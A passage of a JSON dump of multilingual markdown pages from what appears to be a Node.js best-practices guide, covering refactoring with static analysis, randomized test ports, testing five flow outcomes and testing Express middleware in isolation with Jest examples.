.post(\"/send\", (payload) => ((emailPayload = payload), true))\r\n    .reply(202);\r\n  const orderToAdd = {\r\n    userId: 1,\r\n    productId: 2,\r\n    mode: \"approved\",\r\n  };\r\n\r\n  //Act\r\n  await axiosAPIClient.post(\"/order\", orderToAdd);\r\n\r\n  // ️️️Assert\r\n  expect(emailPayload).toMatchObject({\r\n    subject: expect.any(String),\r\n    body: expect.any(String),\r\n    recipientAddress: expect.stringMatching(/^[\\w-\\.]+@([\\w-]+\\.)+[\\w-]{2,4}$/),\r\n  });\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/testingandquality/randomize-port.md",
    "content": "# Specify a port in production, randomize in testing\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nWhen writing component/integration tests, the web server should be started by the tests in the same process - this opens the door for many desirable testing features like mocking, coverage, and more. In a multi-process test runner, multiple web server instances will be opened. If these instances try to open the same port, they will collide. In testing only, let the server randomize a port to prevent collisions. This can easily achieved by providing an [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port), the number zero, so the operating system will allocate an available port \n\n<br/><br/>\n\n### Code Example – starting the web server with testing in-mind\n\n```javascript\n// api-under-test.js\nconst initializeWebServer = async () => {\n  return new Promise((resolve, reject) => {\n    // Fixed port in production, a zero port (ephemeral) for testing\n    const webServerPort = process.env.PORT ? process.env.PORT : 0;\n    expressApp = express();\n    connection = expressApp.listen(webServerPort, () => {\n      // No port\n      resolve(expressApp);\n    });\n  });\n};\n\n// test.js\nbeforeAll(async () => {\n  expressApp = await initializeWebServer(); // No port\n});\n```\n"
  },
  {
    "path": "sections/testingandquality/refactoring.basque.md",
    "content": "# Berregituratu\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nGarapen iteratiboaren fluxuan, berregituratzea prozesu garrantzitsua da. \"Kodearen usainak\" (kodetze praktika okerrak) ezabatzen badituzu –hala nola, Bikoiztutako Kodea, Funtzio Luzeak, Parametro Zerrenda Luzeak-, zure kodea hobetuko duzu, eta mantentzea erraztuko. Analisi estatikoko tresnak erabiltzeak kode usain horiek aurkitzen eta birregiturazio prozesu bat eraikitzen lagunduko dizu.\r\n\r\nTresna horiek zure IE eraikuntzari gehitzeak kalitatea egiaztatzeko prozesua automatizatzen lagunduko dizu. Zure IEak Sonar edo Code Climate bezalako tresnak integratzen baditu, eraikuntzak huts egingo du kode usainak atzematen baditu, eta egileari arazoa nola konpondu jakinaraziko dio. Analisi estatikoko tresna hauek ESLint bezalako tresnen osagarri izango dira. Linting tresna gehienak fitxategi bakoitzeko indentazioa eta ahaztutako puntu eta komak bezalako kode estiloetan zentratuko dira (hala ere, batzuek funtzio luzeen moduko kode usainak aurkituko dituzte); analisi estatikoko tresnak, berriz, fitxategi bakarreko edo anitzetako kode usainak  aurkitzen saiatuko dira (bikoiztutako kodea, analisi konplexitatea, etab.)\r\n\r\n<br/><br/>\r\n\r\n\r\n### Martin Fowler, ThoughtWorkseko zientzilari burua\r\n\r\n \"Berregituratzen: Bizi Den Kodearen Diseinua Hobetzen\" liburutik\r\n\r\n > Berregituratzea, bizi den kodearen diseinua hobetzeko teknika kontrolatua da\r\n\r\n<br/><br/>\r\n\r\n### Evan Burchard, web garapeneko aholkulari eta idazlea\r\n\r\n \"JavaScript Berregituratzen: Kode Okerra Kode Ona Bilakazen\" liburutik\r\n\r\n > Berdin dio zein framework edo \"JSen-konpilatzen-du\" lengoaia edo liburutegi erabiltzen duzun, erroreak eta errendimendua beti izango dira arazo bat zure JavaScripta pobrea bada\r\n\r\n<br/><br/>\r\n\r\n ### Adibidea: Funtzio konplexuen analisia CodeClimaterekin (komertziala)\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-complex-methods.PNG \"Funtzio konplexuen analisia\")\r\n\r\n### Adibidea: Kode analisiaren joerak eta CodeClimaterekin historia (komertziala)\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-history.PNG \"Kode analisiaren historia\")\r\n\r\n### Adibidea: Kode analisiaren laburpena eta SonarQuberekin joerak (komertziala)\r\n\r\n![alt text](../../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Kode analisiaren historia\")\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/refactoring.brazilian-portuguese.md",
    "content": "# Refatorando\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nA refatoração é um processo importante no fluxo de desenvolvimento iterativo. Remover \"Code Smells\" (más práticas de codificação) como código duplicado, métodos longos e lista de parâmetros extensa, irá melhorar o seu código e torná-lo mais sustentável. O uso de ferramentas de análise estática ajudará você a encontrar essas más práticas de código e criará um processo em torno da refatoração. Adicionar essas ferramentas à sua configuração de CI (Integração Contínua) ajudará a automatizar o processo de verificação de qualidade. Se o seu CI se integrar a uma ferramenta como o Sonar ou o Code Climate, a compilação falhará se detectar más práticas de código e informará o autor sobre como resolver o problema. Essas ferramentas de análise estática complementarão as ferramentas de lint, como o ESLint. A maioria das ferramentas de lint se concentrará em estilos de código como recuo e ponto-e-vírgulas ausentes (embora alguns encontrem más práticas de código como funções longas) em um único arquivo, enquanto ferramentas de análise estática se concentrarão em encontrar más práticas de código (código duplicado, análise de complexidade etc.) que estão em um único arquivo ou vários arquivos.\r\n\r\n<br/><br/>\r\n\r\n\r\n### Martin Fowler - Cientista Chefe na ThoughtWorks\r\n\r\n Do livro, \"Refactoring - Improving the Design of Existing Code\"\r\n\r\n > A refatoração é uma técnica controlada para melhorar o design de uma base de código existente.\r\n\r\n<br/><br/>\r\n\r\n### Evan Burchard - Consultor de Desenvolvimento Web e Autor\r\n\r\n Do livro, \"Refactoring JavaScript: Turning Bad Code into Good Code\"\r\n\r\n > Não importa qual framework ou linguagem que \"Compila-para-JS\" ou biblioteca que você usa, bugs e preocupações de desempenho serão sempre um problema se a qualidade subjacente do seu JavaScript for ruim.\r\n\r\n<br/><br/>\r\n\r\n ### Exemplo: Análise de métodos complexos com CodeClimate (comercial)\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-complex-methods.PNG \"Análise de métodos complexos\")\r\n\r\n### Exemplo: tendências de análise de código e histórico com CodeClimate (comercial)\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-history.PNG \"Histórico de análise de código\")\r\n\r\n### Exemplo: Resumo de análise de código e tendências com o SonarQube (comercial)\r\n\r\n![alt text](../../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Histórico de análise de código\")\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/refactoring.french.md",
    "content": "# Refactorisation\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nLa refactorisation est un processus important dans le flux de développement itératif. La suppression des « Code Smells » (mauvaises pratiques de codage) telles que le code dupliqué, les trop longues méthodes et la trop longue liste de paramètre améliorera votre code et le rendra plus maintenable. L'utilisation d'outils d'analyse statique vous aidera à trouver ces « Code Smells » et à créer un processus de refactorisation. L'ajout de ces outils à votre CI aidera à automatiser le processus de vérification de la qualité. Si votre CI s'intègre à un outil comme Sonar ou Code Climate, la construction échouera s'il détecte des « Code Smells » et informera l'auteur sur la façon de résoudre le problème. Ces outils d'analyse statique complèteront les outils de Lint tels que ESLint. La plupart des outils de Lint se concentreront sur les styles de code comme l'indentation et les points-virgules manquants (bien que certains trouveront des « Code Smells » comme les fonctions trop longues) dans un seul fichier tandis que les outils d'analyse statique se concentreront sur la recherche de « Code Smell » (code en double, analyse de complexité, etc.) qui sont dans des fichiers uniques et dans plusieurs fichiers.\n\n<br/><br/>\n\n\n### Martin Fowler - Scientifique en chef à ThoughtWorks\n\n Extrait du livre, « Refactorisation - Amélioration de la conception du code existant »\n\n > La refactorisation est une technique contrôlée pour améliorer la conception d'une base de code existante.\n\n<br/><br/>\n\n### Evan Burchard - Auteur et consultant en développement web\n\n Extrait du livre, « Refactorisation JavaScript : transformer un mauvais code en bon code »\n\n> Quel que soit le framework,\nle langage ou la bibliothèque « compile-en-JS » que vous utilisez, les bogues et les problèmes de performances\nseront toujours un problème si la qualité implicite de votre JavaScript est mauvaise.\n\n<br/><br/>\n\n ### Exemple : analyse de méthodes complexes avec CodeClimate (commercial)\n\n![alt text](../../assets/images/codeanalysis-climate-complex-methods.PNG \"Analyse de méthodes complexes\")\n\n### Exemple : tendances et historique de l'analyse de code avec CodeClimate (commercial)\n\n![alt text](../../assets/images/codeanalysis-climate-history.PNG \"Historique d'analyse de code\")\n\n### Exemple : résumé et tendances de l'analyse de code avec SonarQube (commercial)\n\n![alt text](../../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Historique d'analyse de code\")\n\n\n<br/><br/>\n"
  },
  {
    "path": "sections/testingandquality/refactoring.japanese.md",
    "content": "# リファクタリング\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nリファクタリングは反復開発フローにおいて重要なプロセスです。重複したコード、長いメソッド、長いパラメータリストといった「コードの臭い」（悪いコーディングプラクティス）を取り除くことで、コードが改善し、保守性が向上します。静的解析ツールを使用することは、そういったコードの臭いを発見しリファクタリングを中心としたプロセスを構築するのに役立ちます。こういったツールを CI に導入することで、品質チェックプロセスを自動化することができます。CI が Sonar や Code Climate といったツールと統合されている場合、コードの臭いを検出した際にビルドを失敗させ、作者に問題の対処方法を知らせます。これらの静的解析ツールは、ESLint のような lint ツールを補うものです。多くの linting ツールは、単一ファイルにおけるインデントやセミコロンの付け忘れ（長い関数のようなコードの臭いを見つけるものもありますが）といったコードスタイルにフォーカスしますが、静的解析ツールは単一のファイルおよび複数のファイルにおいてコードの臭いを発見する（重複したコード、複雑性解析など）ことにフォーカスしています。\r\n\r\n<br/><br/>\r\n\r\n\r\n### Martin Fowler - ThoughtWorks 社のチーフサイエンティスト\r\n\r\n書籍 \"Refactoring - Improving the Design of Existing Code\" より\r\n\r\n> リファクタリングは、既存のコードベースの設計を改善するための、制御された技術です。\r\n\r\n<br/><br/>\r\n\r\n### Evan Burchard - Web 開発コンサルタント、作家\r\n\r\n書籍 \"Refactoring JavaScript: Turning Bad Code into Good Code\" より\r\n\r\n> どのようなフレームワークや「JS にコンパイル可能な」言語、ライブラリを使用しようとも、JavaScript の根本的な質が低ければ、バグやパフォーマンスの懸念は常に問題になります。\r\n\r\n<br/><br/>\r\n\r\n### 例: CodeClimate を使用した複雑なメソッドの解析（商用）\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-complex-methods.PNG \"複雑なメソッドの解析\")\r\n\r\n### 例: CodeClimate を使用したコード解析結果の傾向と履歴（商用）\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-history.PNG \"コード解析の履歴\")\r\n\r\n### 例: コード解析結果のサマリーと傾向（商用）\r\n\r\n![alt text](../../assets/images/codeanalysis-sonarqube-dashboard.PNG \"コード解析結果のサマリーと傾向\")\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/refactoring.korean.md",
    "content": "# Refactoring\n\n<br/><br/>\n\n### One Paragraph Explainer\n\n리팩토링은 반복적인 개발 흐름에서 중요한 과정이다. 중복 코드, 긴 메서드, 긴 매개 변수 목록과 같은 \"코드 스멜\"(불량 코딩 관행)을 제거하면 코드가 향상되고 유지 관리가 더욱 용이해집니다. 정적 분석 도구를 사용하면 이러한 코드 스멜을 찾고 리팩토링에 대한 프로세스를 구축하는 데 도움이 됩니다. CI 빌드에 이러한 도구를 추가하면 품질 검사 프로세스를 자동화하는 데 도움이 됩니다. CI가 소나 또는 코드 기후와 같은 도구와 통합될 경우 코드 스멜을 감지하고 작성자에게 문제 해결 방법을 알려주면 빌드가 실패합니다. 이러한 정적 분석 도구는 ESLint와 같은 보풀 도구를 보완합니다. 대부분의 보풀 도구는 단일 파일에서 들여쓰기와 누락된 세미콜론과 같은 코드 스타일(일부는 긴 함수처럼 코드 냄새가 나기도 함)에 초점을 맞추고 정적 분석 도구는 단일 파일과 여러 파일에 있는 코드 냄새(중복 코드, 복잡성 분석 등)를 찾는 데 초점을 맞춥니다.\n\n<br/><br/>\n\n### Martin Fowler - Chief Scientist at ThoughtWorks\n\n책, \"JavaScript 수정: 불량 코드를 정상 코드로 변경\"\n\n> 리팩토링은 기존 코드베이스의 설계를 개선하기 위한 통제된 기술이다.\n\n<br/><br/>\n\n### Evan Burchard - Web Development Consultant and Author\n\n책, \"JavaScript 수정: 불량 코드를 정상 코드로 변경\"\n\n> 사용하는 프레임워크나\n> \"컴파일-투-JS\" 언어 또는 라이브러리가 무엇이든\n> 자바스크립트의 기본 품질이 낮으면 버그와 성능에 대한 우려는 항상 문제가 됩니다.\n\n<br/><br/>\n\n### Example: Complex methods analysis with CodeClimate (commercial)\n\n![alt text](../../assets/images/codeanalysis-climate-complex-methods.PNG \"Complex methods analysis\")\n\n### Example: Code analysis trends and history with CodeClimate (commercial)\n\n![alt text](../../assets/images/codeanalysis-climate-history.PNG \"Code analysis history\")\n\n### Example: Code analysis summary and trends with SonarQube (commercial)\n\n![alt text](../../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Code analysis history\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/testingandquality/refactoring.md",
    "content": "# Refactoring\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nRefactoring is an important process in the iterative development flow. Removing \"Code Smells\" (bad coding practices) such as Duplicated Code, Long Methods, Long Parameter list will improve your code and making it more maintainable. Using a static analysis tools will assist you in finding these code smells and build a process around refactoring. Adding these tools to your CI build will help automate the quality checking process. If your CI integrates with a tool like Sonar or Code Climate, the build will fail if it detects code smells and inform the author on how to address the issue. Theses static analysis tools will complement lint tools such as ESLint. Most linting tools will focus on code styles like indentation and missing semicolons (although some will find code smells like Long functions) in a single file while static analysis tools will focus on finding code smells (duplicate code, complexity analysis, etc) that are in single files and multiple files.\r\n\r\n<br/><br/>\r\n\r\n\r\n### Martin Fowler - Chief Scientist at ThoughtWorks\r\n\r\n From the book, \"Refactoring - Improving the Design of Existing Code\"\r\n\r\n > Refactoring is a controlled technique for improving the design of an existing code base.\r\n\r\n<br/><br/>\r\n\r\n### Evan Burchard - Web Development Consultant and Author\r\n\r\n From the book, \"Refactoring JavaScript: Turning Bad Code into Good Code\"\r\n\r\n > No matter what framework or\r\n“compiles-to-JS” language or library you use, bugs and performance concerns\r\nwill always be an issue if the underlying quality of your JavaScript is poor.\r\n\r\n<br/><br/>\r\n\r\n ### Example: Complex methods analysis with CodeClimate (commercial)\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-complex-methods.PNG \"Complex methods analysis\")\r\n\r\n### Example: Code analysis trends and history with CodeClimate (commercial)\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-history.PNG \"Code analysis history\")\r\n\r\n### Example: Code analysis summary and trends with SonarQube (commercial)\r\n\r\n![alt text](../../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Code analysis history\")\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/refactoring.polish.md",
    "content": "# Refaktoryzacja\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nRefaktoryzacja jest ważnym procesem w iteracyjnym przepływie rozwoju. Usunięcie „Code smells” (złych praktyk kodowania), takich jak powielony kod, długie metody, długa lista parametrów, poprawi kod i sprawi, że będzie on łatwiejszy w utrzymaniu. Korzystanie z narzędzi do analizy statycznej pomoże ci znaleźć te code smells i zbudować proces wokół refaktoryzacji. Dodanie tych narzędzi do kompilacji CI pomoże zautomatyzować proces kontroli jakości. Jeśli Twój CI zintegruje się z narzędziem takim jak Sonar lub Code Climate, kompilacja zakończy się niepowodzeniem, jeśli wykryje code smells i poinformuje autora, jak rozwiązać problem. Te narzędzia do analizy statycznej uzupełnią narzędzia do lintowania, takie jak ESLint. Większość narzędzi do lintowania skupia się na stylach kodu, takich jak wcięcia i brakujące średniki (chociaż niektóre code smells kodu jak Długie funkcje) w jednym pliku, podczas gdy narzędzia analizy statycznej skoncentrują się na wyszukiwaniu code smells (duplikat kodu, analiza złożoności itp.) pojedyncze pliki i wiele plików.\n\n<br/><br/>\n\n\n### Martin Fowler - Główny Naukowiec w ThoughtWorks\n\n Z książki, \"Refactoring - Improving the Design of Existing Code\"\n\n > Refactoring is a controlled technique for improving the design of an existing code base.\n\n<br/><br/>\n\n### Evan Burchard - Web Development Consultant i Autor\n\n Z książki, \"Refactoring JavaScript: Turning Bad Code into Good Code\"\n\n > No matter what framework or\n“compiles-to-JS” language or library you use, bugs and performance concerns\nwill always be an issue if the underlying quality of your JavaScript is poor.\n\n<br/><br/>\n\n ### Przykład: Analiza złożonych metod za pomocą CodeClimate (komercyjna)\n\n![alt text](../../assets/images/codeanalysis-climate-complex-methods.PNG \"Complex methods analysis\")\n\n### Przykład: trendy i historia analizy kodu za pomocą CodeClimate (komercyjna)\n\n![alt text](../../assets/images/codeanalysis-climate-history.PNG \"Code analysis history\")\n\n### Przykład: Podsumowanie analizy kodu i trendy w SonarQube (komercyjna)\n\n![alt text](../../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Code analysis history\")\n\n\n<br/><br/>\n"
  },
  {
    "path": "sections/testingandquality/refactoring.russian.md",
    "content": "# Рефакторинг\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nРефакторинг является важным мероприятием в процессе итеративной разработки. Удаление \"запахов кода\" (плохих методов кодирования), таких как дублированный код, длинные методы, список длинных параметров, улучшит ваш код и сделает его более понятным. Использование инструментов статического анализа поможет вам найти эти запахи кода и построить процесс вокруг рефакторинга. Добавление этих инструментов в вашу сборку CI поможет автоматизировать процесс проверки качества. Если ваш CI интегрируется с таким инструментом, как Sonar или Code Climate, сборка завершится неудачно, если он обнаружит запах кода и сообщит автору, как решить проблему. Эти инструменты статического анализа дополнят такие инструменты lint, как ESLint. Большинство инструментов для рисования будут сосредоточены на стилях кода, таких как отступы и пропущенные точки с запятой (хотя некоторые найдут запахи кода, такие как функции Long) в одном файле, в то время как инструменты статического анализа сосредоточатся на поиске запахов кода (дублирующий код, анализ сложности и т.д.), Которые находятся в отдельные файлы и несколько файлов.\r\n\r\n<br/><br/>\r\n\r\n\r\n### Мартин Фаулер - главный научный сотрудник ThoughtWorks\r\n\r\nИз книги \"Рефакторинг - улучшение дизайна существующего кода\"\r\n\r\n> Рефакторинг - это контролируемый метод улучшения дизайна существующей кодовой базы.\r\n\r\n<br/><br/>\r\n\r\n### Эван Бурхард - консультант по веб-разработке и автор\r\n\r\nИз книги \"Рефакторинг JavaScript: Превращение плохого кода в хороший код\"\r\n\r\n> Независимо от того, фреймворк или\r\n\"compiles-to-JS\" язык или билиотеку вы используете, ошибки и проблемы с производительностью\r\nвсегда будут проблемой, если низкое качество вашего JavaScript плохое.\r\n\r\n<br/><br/>\r\n\r\n### Пример: Анализ сложных методов с помощью CodeClimate (коммерческий)\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-complex-methods.PNG \"Complex methods analysis\")\r\n\r\n### Пример: Тенденции и история анализа кода с CodeClimate (коммерческий)\r\n\r\n![alt text](../../assets/images/codeanalysis-climate-history.PNG \"Code analysis history\")\r\n\r\n### Пример: Сводка анализа кода и тенденции с SonarQube (коммерческий)\r\n\r\n![alt text](../../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Code analysis history\")\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/test-five-outcomes.md",
    "content": "# Test the five potential outcomes\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nWhen planning your tests, consider covering the five typical flow's outputs. When your test is triggering some action (e.g., API call), a reaction is happening, something meaningful occurs and calls for testing. Note that we don't care about how things work. Our focus is on outcomes, things that are noticeable from the outside and might affect the user. These outcomes/reactions can be put in 5 categories:\n\n• Response - the test invokes an action (e.g., via API) and gets a response. It's now concerned with checking the response data correctness, schema, and HTTP status.\n\n• A new state - after invoking an action, some data is probably modified. For example, when updating a user, it may be that the new data was not saved. Commonly and mistakenly, testers check only the response and not whether the data is updated correctly. Testing data and databases raises multiple interesting challenges that are greatly covered below in the 📗 section 'Dealing with data'.\n\n• External calls - after invoking an action, the app might call an external component via HTTP or any other transport. For example, a call to send SMS, email or charge a credit card. Anything that goes outside and might affect the user - should be tested. Testing integrations is a broad topic which is discussed in the 📗 section 'Testing integrations' below.\n\n• Message queues - the outcome of a flow might be a message in a queue. In our example application, once a new order was saved, the app puts a message in some MQ product. Now other components can consume this message and continue the flow. This is very similar to testing integrations, only working with message queues is different technically and tricky. The 📗 section 'Message Queues' below delve into this topic.\n\n• Observability - some things must be monitored, like errors or remarkable business events. When a transaction fails, not only do we expect the right response but also the correct error handling and proper logging/metrics. This information goes directly to a very important user - the ops user (i.e., production SRE/admin). Testing error handlers isn't very straightforward because many types of errors might get thrown, where some errors should lead to process crashing, and there are many other details to cover. We plan to write the 📗 section on 'Observability and errors' soon.\n\n<br/><br/>\n\n### Example: The backend testing checklist\n\n![The backend testing checklist](<../../assets/images/The backend testing checklist.png> \"The backend testing checklist\")\n"
  },
  {
    "path": "sections/testingandquality/test-middlewares.basque.md",
    "content": "# Probatu zure middlewareak eurak bakarrik\n\n<br/><br/>\n\n### Azalpena\n\nAskok middlewarearen probak alde batera uzten dituzte sistemaren zati txiki bat adierazten dutelako eta zuzeneko Express zerbitzaria edukitzea behar dutelako. Bi arrazoi horiek okerrak dira: middlewareak txikiak dira, baina eskaera guztiei edo gehienei eragiten diete, eta erraz probatu daitezke {req,res} JS objektuak berreskuratzen dituzten funtzio huts gisa. Middleware funtzioak probatzeko, norberak funtzioa deitu behar du eta {req,res} objektuekin dagoen elkarrekintza espiatu (spy) ([erabili Sinon adibide gisa](https://www.npmjs.com/package/sinon)), funtzioak ekintza zuzena egin duela ziurtatzeko. [node-mock-http](https://www.npmjs.com/package/node-mocks-http) liburutegia oraindik ere urrutiago doa eta {req,res} objektuak faktorizatzen ditu beraien jokaera espiatuz. Adibidez, res objektuan zehaztutako http estatus bat espero den balioarekin bat datorren baiezta dezake (ikusi beheko adibidea)\n\n<br/><br/>\n\n### Kode adibidea: probatu zure middlewarea bera bakarrik\n\n```javascript\n//probatu nahi dugun middlewarea\nconst probapeanDagoenUnitatea = require(\"./middleware\");\nconst httpMocks = require(\"node-mocks-http\");\n//Jest sintaxisa, Mochako describe() eta it()en baliokidea\ntest(\"Autentikazio goiburu gabeko eskaera, 403 http estatus bat bueltatu beharko luke\", () => {\n  const request = httpMocks.createRequest({\n    method: \"GET\",\n    url: \"/user/42\",\n    headers: {\n      authentication: \"\"\n    }\n  });\n  const erantzuna = httpMocks.createResponse();\n  probapeanDagoenUnitatea(request, response);\n  expect(erantzuna.statusCode).toBe(403);\n});\n```\n"
  },
  {
    "path": "sections/testingandquality/test-middlewares.french.md",
    "content": "# Testez vos middlewares de manière isolée\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nBeaucoup évitent les tests de Middleware parce qu'ils représentent une petite partie du système et nécessitent un serveur Express en ligne. Les deux raisons sont fausses - les Middlewares sont petits mais affectent toutes ou la plupart des requêtes et peuvent être testés facilement comme de pures fonctions qui récupèrent des objets JS `{req, res}`. Pour tester une fonction d'un Middleware, il suffit de l'appeler et d'espionner ([en utilisant Sinon par exemple](https://www.npmjs.com/package/sinon)) l'interaction avec les objets {req, res} pour s'assurer que la fonction a effectué la bonne action. La bibliothèque [node-mock-http] (https://www.npmjs.com/package/node-mocks-http) va encore plus loin et prend en compte les objets {req, res} en même temps que l'espionnage de leur comportement. Par exemple, elle peut affirmer si le statut http qui a été défini sur l'objet res correspond à celui attendu (voir l'exemple ci-dessous).\n\n<br/><br/>\n\n### Code exemple : tester le middleware de manière isolée\n\n```javascript\n// le middleware que nous voulons tester\nconst unitUnderTest = require(\"./middleware\")\nconst httpMocks = require(\"node-mocks-http\");\n// Syntaxe Jest, équivalante à describe() & it() dans Mocha\ntest(\"Une requête sans entête d'authentification, doit renvoyer le statut http 403\", () => {\n  const request = httpMocks.createRequest({\n    method: \"GET\",\n    url: \"/user/42\",\n    headers: {\n      authentication: \"\"\n    }\n  });\n  const response = httpMocks.createResponse();\n  unitUnderTest(request, response);\n  expect(response.statusCode).toBe(403);\n});\n```"
  },
  {
    "path": "sections/testingandquality/test-middlewares.japanese.md",
    "content": "# ミドルウェアを分離してテストする\n\n<br/><br/>\n\n### 一段落説明\n\nミドルウェアはシステムのごく一部であり、Express を起動させる必要があるため、多くの人はミドルウェアのテストを避けます。しかし、どちらの理由も間違っています ー ミドルウェアは小さいですが、すべて、あるいはほとんどのリクエストに影響を及ぼすものであり、`{req, res}` という JS オブジェクトを取得する純粋な関数として簡単にテストできます。ミドルウェア関数をテストするためには、その関数を呼び出して、関数が正しく動作していることを確認するために、{req, res} オブジェクトとのやり取りを（[例えば Sinon を使用して](https://www.npmjs.com/package/sinon)）スパイするべきです。[node-mock-http](https://www.npmjs.com/package/node-mocks-http) というライブラリは、これをさらに発展させ、{req, res} オブジェクトの動作をスパイしながら、そのオブジェクトに要素付けします。例えば、res オブジェクトに設定された http ステータスが期待値と一致しているかどうかを判定することができます（下記の例を参照してください）。\n\n<br/><br/>\n\n### コード例: ミドルウェアを分離してテストする\n\n```javascript\n// テストしたいミドルウェア\nconst unitUnderTest = require(\"./middleware\");\nconst httpMocks = require(\"node-mocks-http\");\n// Jest シンタックス、Mocha における describe() と it() と同様\ntest(\"A request without authentication header, should return http status 403\", () => {\n  const request = httpMocks.createRequest({\n    method: \"GET\",\n    url: \"/user/42\",\n    headers: {\n      authentication: \"\"\n    }\n  });\n  const response = httpMocks.createResponse();\n  unitUnderTest(request, response);\n  expect(response.statusCode).toBe(403);\n});\n```\n"
  },
  {
    "path": "sections/testingandquality/test-middlewares.korean.md",
    "content": "# Test your middlewares in isolation\n\n<br/><br/>\n\n### One Paragraph Explainer\n\n미들웨어 테스트는 시스템의 작은 부분을 차지하며 라이브 Express 서버가 필요하기 때문에 대부분 미들웨어 테스트를 회피합니다. 두 가지 이유 모두 틀렸습니다. 미들웨어는 작지만 요청의 전부 또는 대부분에 영향을 미치며 '{req,res}' JS 개체를 가져오는 순수 함수로 쉽게 테스트할 수 있습니다. 미들웨어 함수를 테스트하려면 해당 함수를 호출하고 {req,res}개 개체와의 상호 작용에 대해 [예를 들어 Sinon 사용](https://www.npmjs.com/package/sinon)))을 스파이하여 함수가 올바른 동작을 수행했는지 확인해야 합니다. 라이브러리 [node-controls-products](https://www.npmjs.com/package/node-mocks-http)는 더 나아가서 {req,res}개의 객체의 동작에 대한 스파이 활동과 함께 인자를 분석합니다. 예를 들어 res 개체에 설정된 http 상태가 예상과 일치하는지 여부를 주장할 수 있습니다(아래 예 참조).\n\n<br/><br/>\n\n### Code example: Testing middleware in isolation\n\n```javascript\n//the middleware we want to test\nconst unitUnderTest = require(\"./middleware\");\nconst httpMocks = require(\"node-mocks-http\");\n//Jest syntax, equivalent to describe() & it() in Mocha\ntest(\"A request without authentication header, should return http status 403\", () => {\n  const request = httpMocks.createRequest({\n    method: \"GET\",\n    url: \"/user/42\",\n    headers: {\n      authentication: \"\",\n    },\n  });\n  const response = httpMocks.createResponse();\n  unitUnderTest(request, response);\n  expect(response.statusCode).toBe(403);\n});\n```\n"
  },
  {
    "path": "sections/testingandquality/test-middlewares.md",
    "content": "# Test your middlewares in isolation\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nMany avoid Middleware testing because they represent a small portion of the system and require a live Express server. Both reasons are wrong — Middlewares are small but affect all or most of the requests and can be tested easily as pure functions that get `{req,res}` JS objects. To test a middleware function one should just invoke it and spy ([using Sinon for example](https://www.npmjs.com/package/sinon)) on the interaction with the {req,res} objects to ensure the function performed the right action. The library [node-mock-http](https://www.npmjs.com/package/node-mocks-http) takes it even further and factors the {req,res} objects along with spying on their behavior. For example, it can assert whether the http status that was set on the res object matches the expectation (See example below)\n\n<br/><br/>\n\n### Code example: Testing middleware in isolation\n\n```javascript\n//the middleware we want to test\nconst unitUnderTest = require(\"./middleware\");\nconst httpMocks = require(\"node-mocks-http\");\n//Jest syntax, equivalent to describe() & it() in Mocha\ntest(\"A request without authentication header, should return http status 403\", () => {\n  const request = httpMocks.createRequest({\n    method: \"GET\",\n    url: \"/user/42\",\n    headers: {\n      authentication: \"\"\n    }\n  });\n  const response = httpMocks.createResponse();\n  unitUnderTest(request, response);\n  expect(response.statusCode).toBe(403);\n});\n```"
  }
]